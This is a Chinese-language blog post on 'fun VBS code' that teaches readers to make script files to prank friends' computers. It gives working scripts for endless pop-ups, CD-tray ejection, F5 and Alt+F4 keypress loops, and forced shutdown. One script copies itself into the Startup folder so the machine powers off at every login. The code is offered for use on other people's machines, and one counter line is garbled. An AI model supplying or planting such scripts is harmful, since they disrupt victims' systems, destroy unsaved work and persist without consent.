另存為->重命名為“新建文本文檔.vbs雙擊“新建文本文檔.vbs”這個時候就會彈出一個對話框了當然你還可以右鍵編輯裡面添加更多你想讓他..."/>

tft每日頭條

 > 科技

 > 好玩的vbs代碼

好玩的vbs代碼

科技 更新时间:2025-01-31 10:26:27

大家好!我是蒙面科技,第一次開通頭條号,給大家分享一個電腦整蠱代碼,實現起來特别簡單,隻用到電腦上的記事本即可。

大神勿噴·簡單教程,好了話不多說,開整!

第一步:

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)1

咱們先在自己電腦桌面新建一個TXT文本文檔即可

第二步:

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)2

輸入msgbox "一大波病毒正在靠近" 點擊文件->另存為->重命名為“新建文本文檔.vbs

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)3

雙擊“新建文本文檔.vbs”這個時候就會彈出一個對話框了

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)4

當然你還可以右鍵編輯裡面添加更多你想讓他彈出來的文字

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)5

雙擊打開。此時,會彈出提示對話框,點擊确定和關閉按鈕之後,再一次彈出窗口,如此循環,無法正常關閉。

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)6

那麼到底要如何才能關閉呢?打開任務管理器結束進程“wscript.exe”即可

到此新手教學完畢,下面進入大神課堂教學。

無限彈出光驅:

------------------------------------------------

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

------------------------------------------------

無盡語音報數:

無限語音從1數到無限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i 1

loop

------------------------------------------------

無盡刷新:

慎用,如此刷新打開任務管理器都難,隻能拔掉電源。

------------------------------------------------

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

------------------------------------------------

修改注冊表:

------------------------------------------------

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

ws.run"shutdown -p",vbhide

------------------------------------------------

直接關機:

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

------------------------------------------------

不斷按下alt f4 :

打開任何程序都關掉

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do

wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

------------------------------------------------

開玩笑也得有個度,凡事都不要太過。上面的代碼的尺度還不算很大,大家可以玩玩。

如你覺得蒙面科技寫的不錯,可以給蒙面科技一點小小的支持點個贊評論一下哦,如果你也喜歡計算機網絡技巧,可以點擊關注哦!

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关科技资讯推荐

热门科技资讯推荐

网友关注

Copyright 2023-2025 - www.tftnews.com All Rights Reserved